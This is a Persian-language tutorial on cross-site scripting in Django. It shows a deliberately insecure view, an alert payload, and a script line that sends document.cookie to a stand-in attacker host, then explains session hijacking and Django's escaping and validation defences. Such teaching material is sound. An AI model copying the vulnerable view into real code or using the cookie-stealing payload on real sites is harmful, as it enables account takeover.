آسیب پذیری xss در جنگو
آسیب پذیری XSS که امروزه رایج ترین نقص امنیتی برنامه های وب در نظر گرفته می شود، مهاجم را قادر می سازد تا اسکریپت های مخرب خود (معمولا جاوا اسکریپت) را در صفحات وب مشاهده شده توسط کاربران اجرا کند. به طور معمول، سرور فریب می خورد تا محتوای مخرب خود را همراه با محتوای قابل اعتماد ارائه دهد.
دوره پیشنهادی: دوره اول آموزش جنگو
# آسیب پذیری xss چطور کار میکند؟
چگونه یک کد مخرب به سرور می رسد؟ دادههای خارجی میتوانند با روش های مختلفی وارد وبسایت شوند:
- فرم ها
- آدرس ها(urls)
- تغییر مسیرها(redirects)
- اسکریپت های خارجی مانند تبلیغات یا ابزارهای تحلیلی
از هیچ کدام از این روش ها نمیتوانید به طور کامل اجتناب کنید. مشکل واقعی زمانی است که داده های خارجی بدون تایید یا پاکسازی مورد استفاده قرار می گیرند (همانطور که در تصویر زیر نشان داده شده است). هرگز به داده های خارجی اعتماد نکنید:
به عنوان مثال، بیایید نگاهی به یک کد آسیب پذیر و نحوه انجام یک حمله XSS بر روی آن بیاندازیم. اکیداً توصیه می شود که از این کد به هیچ شکلی استفاده نکنید:
class XSSDemoView(View):
def get(self, request):
# WARNING: This code is insecure and prone to XSS attack
if 'q' in request.GET:
return HttpResponse('Searched for {}'.format(request.GET['q']))
else:
return HttpResponse("""<form method='get'>
<input type='text' name='q' placeholder='Search' value=''
<button type='submit'>Go</button>
</form>""")
این کد یک کلاس View است که در صورت دسترسی بدون هیچ پارامتر GET فرم جستجو را نشان می دهد. اگر فرم جستجو ارسال شود، رشته Search را دقیقاً همانطور که کاربر در فرم وارد کرده است نشان می دهد.
حالا یک مرورگر قدیمی مثل IE8 باز کنید و کد زیر را به عنوان عبارت جستجو ارسال کنید:
<script>alert("pwned")</script>
جای تعجب نیست که مرورگر یک پیغام هشدار نمایش داده و عبارت pwned را نشان میدهد. دقت کنید که این کد در مرورگرهای جدید عمل نخواهد کرد و پیغام <از اجرای اسکریپت جاوا اسکریپت خودداری کرد. کد منبع اسکریپت در درخواست یافت شد> در کنسول مرورگر نمایش داده خواهد شد.
اگر نمیدانید که یک پیام هشدار ساده چه آسیبی میتواند داشته باشد، به یاد داشته باشید که هر کد جاوا اسکریپت را میتوان به همان شیوه اجرا کرد. در بدترین حالت، کوکی های کاربر را می توان با وارد کردن عبارت جستجوی زیر به سایتی که توسط مهاجم کنترل می شود ارسال کرد:
<script> var adr = 'http://lair.com/evail.php?stolen=' + escape(document.cookie); </script>
پس از ارسال کوکیهای شما، مهاجم ممکن است بتواند حمله جدیتری انجام دهد.
مقاله پیشنهادی: آموزش اتصال جنگو به دیتابیس قدیمی
# چرا کوکی ها مهم هستند؟
شاید ارزش درک این را داشته باشد که چرا کوکی ها هدف چندین حمله هستند. به زبان ساده، دسترسی به کوکی ها به مهاجمان اجازه می دهد که شما را جعل کنند و حتی کنترل حساب وب شما را در دست بگیرند.
برای درک دقیق این موضوع، باید مفهوم سشن(session) را درک کنید. HTTP بی وضعیت(stateless) است. جنگو چه یک کاربر ناشناس یا یک کاربر تأیید شده باشد، با مدیریت سشنها، فعالیت های آنها را برای مدت زمان مشخصی پیگیری می کند.
یک سشن شامل آیدی سشن در انتهای کلاینت، یعنی مرورگر و یک شی دیکشنری مانند است که در انتهای سرور ذخیره می شود. آیدی سشن یک رشته تصادفی 32 نویسه ای است که به عنوان یک کوکی در مرورگر ذخیره می شود. هر بار که کاربر از یک وب سایت درخواستی می کند، تمام کوکی های او، از جمله این آیدی سشن، همراه با درخواست ارسال می شود.
در انتهای سرور، جنگو یک ذخیرهسازی سشن دارد که این ID سشن را به دادههای سشن نگاشت میکند. به طور پیش فرض، جنگو داده های سشن را در جدول پایگاه داده django_session ذخیره می کند.
هنگامی که کاربر با موفقیت وارد سیستم می شود، سشن متوجه می شود که احراز هویت موفقیت آمیز بوده و کاربر را پیگیری می کند. بنابراین، کوکی به یک تأیید هویت موقت کاربر برای تراکنشهای بعدی تبدیل میشود. هر کسی که این کوکی را بدست آورد می تواند از این برنامه وب به عنوان آن کاربر استفاده کند که به آن Session Hijacking می گویند.
ویدیو پیشنهادی: مدیریت حافظه و ماژول gc در پایتون
# جنگو چطور میتواند کمک کند؟
ممکن است مشاهده کرده باشید که مثال من یک روش بسیار غیرمعمول برای پیاده سازی یک view در جنگو به دو دلیل بود: از تمپلیتها برای رندر صفحات html استفاده نمی کرد و از کلاس های فرم استفاده نمی کرد. هر دوی آنها اقدامات پیشگیری XSS را دارند.
بهطور پیشفرض، جنگو کاراکترهای ویژه HTML را خودکار غیرفعال(escape) میکند. بنابراین، اگر رشته جستجو را در یک تمپلیت نمایش داده بودید، همه تگ ها کدگذاری شده بودند. این کار تزریق اسکریپتها را غیرممکن میکند، مگر اینکه صریحاً با علامتگذاری محتوا بهعنوان امن(safe)، آنها را خاموش کنید.
استفاده از کلاسهای فرم در جنگو برای اعتبارسنجی و سالمسازی ورودی نیز یک اقدام متقابل بسیار مؤثر است. برای مثال، اگر برنامه شما به شناسه عددی نیاز دارد، از کلاس IntegerField به جای کلاس CharField مجاز تر استفاده کنید.
در مثال ما، میتوانیم از یک کلاس RegexValidator در فیلد عبارت جستجوی خود استفاده کنیم تا کاربر را به کاراکترهای الفبایی محدود کنیم و اجازه دهیم نمادهای نقطهگذاری توسط ماژول جستجوی شما شناسایی شوند. محدوده قابل قبول ورودی کاربر را تا حد امکان محدود کنید.
دوره پیشنهادی: دوره آموزش پایتون
# چه زمانی جنگو به XSS آسیب پذیر است؟
جنگو می تواند از طریق غیرفعال کردن خودکار در تمپلیتها از 80 درصد حملات XSS جلوگیری کند. برای سناریوهای باقی مانده، باید مراقب باشید که وظایف زیر را انجام دهید:
- تمام اتریبیوتهای html را داخل گیومه قرار دهید:
<a href={{link}}> # Bad
<a href="{{link}}"> # Good
- تمام url ها را اعتبارسنجی کنید مخصوصا در برابر پروتکل های ناامن مثل جاوااسکریپت
- از xss سمت کاربر جلوگیری کنید
- دادههای پویا در css و javascript را غیر فعال کنید
به عنوان یک قانون کلی در برابر XSS، من فیلتر در ورودی و غیرفعال کردن(escape) در خروجی را پیشنهاد میکنم. مطمئن شوید که هر دادهای را که وارد میشود کاملاً اعتبارسنجی و ضدعفونی کنید (فیلتر کنید) و بلافاصله قبل از ارسال به کاربر، آنها را غیرفعال کنید، اگر نیاز به پشتیبانی از ورودی کاربر با قالببندی HTML مانند نظرات دارید، به جای آن از Markdown استفاده کنید.